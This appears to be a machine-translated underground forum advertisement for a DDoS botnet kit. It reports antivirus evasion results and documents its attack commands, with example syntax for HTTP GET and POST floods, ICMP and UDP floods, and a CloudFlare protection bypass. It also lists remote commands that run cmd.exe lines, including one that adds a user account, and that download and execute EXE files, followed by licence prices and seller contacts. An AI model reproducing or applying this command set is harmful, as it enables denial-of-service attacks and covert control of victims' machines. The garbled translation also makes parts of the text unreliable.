Detection:
checking build (without crypt and packaging ), only 3 out of all the anti-virus gave a
suspicion (AVIRA, ClamAV, VBA32). During the test key local AV : Kaspersky, Nod32,
DrWeb, Avast missed a file in 100 % of cases.
Modes of attack and the team
Since the system is a professional syntax commands that look like Darkness.
dd1 basic mode of operation via HTTP protocol using GET, using sokkety.
Supports *** cookies and $ $ $ ref and allows for up to 10 targets simultaneously (separated by " ;").
The fastest search volume attack.
Example : dd1 =
Please Login HERE or Register HERE to see this link!
*** cookies $ $ $ referal;
Please Login HERE or Register HERE to see this link!
*** cookies2 $ $ $ referal2
dd2 same treatment as dd1, only the method POST.
Added optional parameter @ @ @ post_data.
It is also support for up to 10 targets.
Example : dd2 =
Please Login HERE or Register HERE to see this link!
*** cookies $ $ $ referal @ @ @ login = yyy & password = hhh
dd3 attack on the HTTP GET method using a system library WinInet.dll.
Good old attack that is used in many Delphi bots .
Slow due to the limitations of Microsoft Windows.
Does not support referral and cookies , supports up to 10 targets.
Example : dd3 =
Please Login HERE or Register HERE to see this link!
dd4 attack via HTTP POST method using the system library WinInet. Same as dd3, only POST. Example:
dd4 =
Please Login HERE or Register HERE to see this link!
@ @ @ @ @ @ login = yyy & password = hhh
dd5 ICMP attack ( pings ) . Supports up to 10 targets.
Example dd5 = 198.168.0.1; 199.0.0.1
dd6 UDP attack . Supports up to 10 targets . Required parameters : port , and text.
Example : dd6 = 192.168.0.2:27015 @ @ @ flud_text
dd7 attack on the HTTP GET method using a system library URMON.dll
Average speed attack that supports up to 10 targets and do not support cookies and referal
cfa command to bypass the protection CloudFlare (!). ONLY used during dd7.
Not ostavnavlivaet the command dd7.
The point is simple
The bot executes java script gets the desired cookie and believes CloudFlare requests made by authorized dd7.
Example : dd7 =
Please Login HERE or Register HERE to see this link!
, then (after fifteen minutes ) cfa =
Please Login HERE or Register HERE to see this link!
cmd command is executed on the command interpreter cmd.exe on the local machine.
Does not stop the execution of other commands.
Example : cmd = net user goodwin / add
exe command to load and run the EXE file.
Does not stop the execution of other commands.
The file is saved under the same name, under which he had been on the internet.
Made three attempts to download the file.
Example : exe =
Please Login HERE or Register HERE to see this link!
Control Panel :
We used a 70% modified of another product (purchased under a contract for change and resale ) by rewriting it almost completely,
as it was found too many mistakes and did not like the code . Of course everything was corrected and optimized - New PU Enjoy !
Prices:
- Test License $ 0 ( only for checking the forums and testers. Updates are not provided )
- Basic License $ 500 (upgrade / Rebuild $ 50 upgrade to the new version $ 100 , the price of modules will be installed later)
- $ 950 full license ( all upgrades, rebuilds and modules are free)
Protection bypass CloudFlare.
CloudFlare security complex is based on the determination of the browser by running Java script in it,
after which the client is issued a unique cookies.
Both, like the browser can theoretically run Java Script . The great difficulty is to fit the required amount
of mathematical functions in the modest size of the build bot , however, some instances of coping with the task !
Consider the example of a test server
Please Login HERE or Register HERE to see this link!
, protected by CloudFlare complex + + Madness 1.08:
1) A botnet command is given dd7 =
Please Login HERE or Register HERE to see this link!
, then start rekvest to the server using the system library UrlMon.
As can be seen on the server logs and sniffer , 302 bots error is returned , which means job security .
2) A botnet command is given cga =
Please Login HERE or Register HERE to see this link!
cookies and bots request for authorization.
Java script executing each bot has a unique (for its ip and useragent) cookie which immediately includes the packet header.
According to the logs can be seen that the requests to the server are in normal mode and returns the content of the website corresponds to the content on it!
Q) Why can not I do it automatically?
A) Depending on the security settings, cookie can be changed in an arbitrary interval and authorization need to go again.
So far, the automation can not cope with it as it makes a person a professional . Too frequent inspection interval greatly
reduces the usability of the site , as ordinary users see every single swing CloudFlare seconds.
Q) Can I use this method all the time, for any purpose ?
A) It is possible, but not recommended. Since dd7 itself is a slow attack , compared with dd1, and then there's the load is
increased due to the preparation of the special package to bypass the protection .
News of the project
From today, we are working with another Celler Sales: iSupport (709186)
ICQ: 902300, 903400, 709186
JAB: damrai13@jabber.ru
Note : incconfig.php has to be writeable
Note 2 : Panel is modded Darkness (Optima) by myself (no RU language), if you have original one for madness please send it over ... 
Anmelden
Benutzerkonto erstellen
Nach oben
Melden
Tool Area
Favoured Tools
